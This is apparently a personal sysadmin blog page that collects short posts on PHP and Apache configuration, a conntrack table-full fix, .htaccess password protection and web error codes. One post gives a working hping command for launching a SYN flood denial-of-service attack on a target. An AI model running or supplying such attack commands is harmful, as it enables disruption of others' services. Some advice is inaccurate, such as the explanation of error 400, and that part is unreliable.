Showing posts with label Web. Show all posts
Showing posts with label Web. Show all posts

Saturday, February 13, 2010

Optimize PHP Linux Web Server

Open php.ini configuration file.
vi /etc/php.ini
Find and change to following value:-
max_execution_time = 30
max_input_time = 30
memory_limit = 40M
post_max_size = 8M
upload_max_filesize = 2M
file_uploads = Off (Turn off if it really not use.)
cgi.force_redirect = 0
allow_url_fopen = Off
sql.safe_mode = Off
Reload Apache, using following command:-
server httpd reload
or
/etc/init.d/httpd reload

Friday, February 05, 2010

ip_conntrack: table full, dropping packet

Happen on my old freaking old server this afternoon....i unable to SSH into server at all...and need to physical access and here what i got after plugged the monitor...
ip_conntrack: table full, dropping packet
keep coming and coming... to solve this issue, i need to increase it value..but before that need to check current value first. To do so, need run following command.
cat /proc/sys/net/ipv4/ip_conntrack_max
to find out current usages:-
cat /proc/sys/net/ipv4/netfilter/ip_conntrack_count
Temporary solve this issue by increase the value
echo 191072 > /proc/sys/net/ipv4/ip_conntrack_max
To make the permanent changes, i need to change value from kernel it self, so i edit this file
vi /etc/sysctl.conf
and add this value at the end of file
net.ipv4.ip_conntrack_max=191072
and update the kernel with latest configuration by exec this command
sysctl -p


Wednesday, February 04, 2009

How to make SYN flood (basic)

What is SYN flood?

A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system. (read more)

Download hping (http://www.hping.org/)

Debian / ubuntu
#sudo apt-get install hping

Use this commnad to execute attack:-
sudo hping - -faster -S <ip address or domain name>

For batter result, get ethernet packet generator ( http://packeth.sourceforge.net/)

Sunday, January 25, 2009

URL Password Protection

URL Password Protection

Instructions on how to set this up manually on the server for other directories.

1) Place the following in a text file called '.htaccess' under the directory you wish to password protect, replacing "USERNAME" with your username and "HTACCESS_USERNAME" with the username you wish to grant access to:

AuthUserFile /home/USERNAME/.htpasswd
AuthGroupFile /dev/null
AuthName ByPassword
AuthType Basic

require user HTACCESS_USERNAME

2) Login to your domain via ssh and run the following command. This will create a .htpasswd file and an htaccess user.

htpasswd -c /home/USERNAME/.htpasswd HTACCESS_USERNAME

Enabling Directory File Listing

Enabling Directory File Listing

Put the following in .htaccess in the directory you want the index enabled for:

Options ExecCGI Indexes Includes FollowSymLinks

NOTICE the filename is .htaccess, that is (dot)htaccess.

Website Error Code 400 / 500

Web Site Error 500

Error 500 is generally caused by a misconfigured CGI or Perl script. Review the contents of your server's error log to debug the error message.

Error 500 is not caused by a server misconfiguration but rather by a script or htaccess misconfiguration.

Web Site Error 400

Error 400 means that you are trying to access a directory with no index.html, or that directory is not world-executable, meaning that the directory can not be browsed by anyone (it can only be browsed by the owner using telnet or an ftp program). It could also mean that the file is not world-readable, meaning that only the owner can view (read) the file.

Missing index.html
Placing the home page file index.html in the directory should resolve the Error 400.

Incorrect permission
Setting the permission on the file / directory to chmod 755 should resolve the Error 400.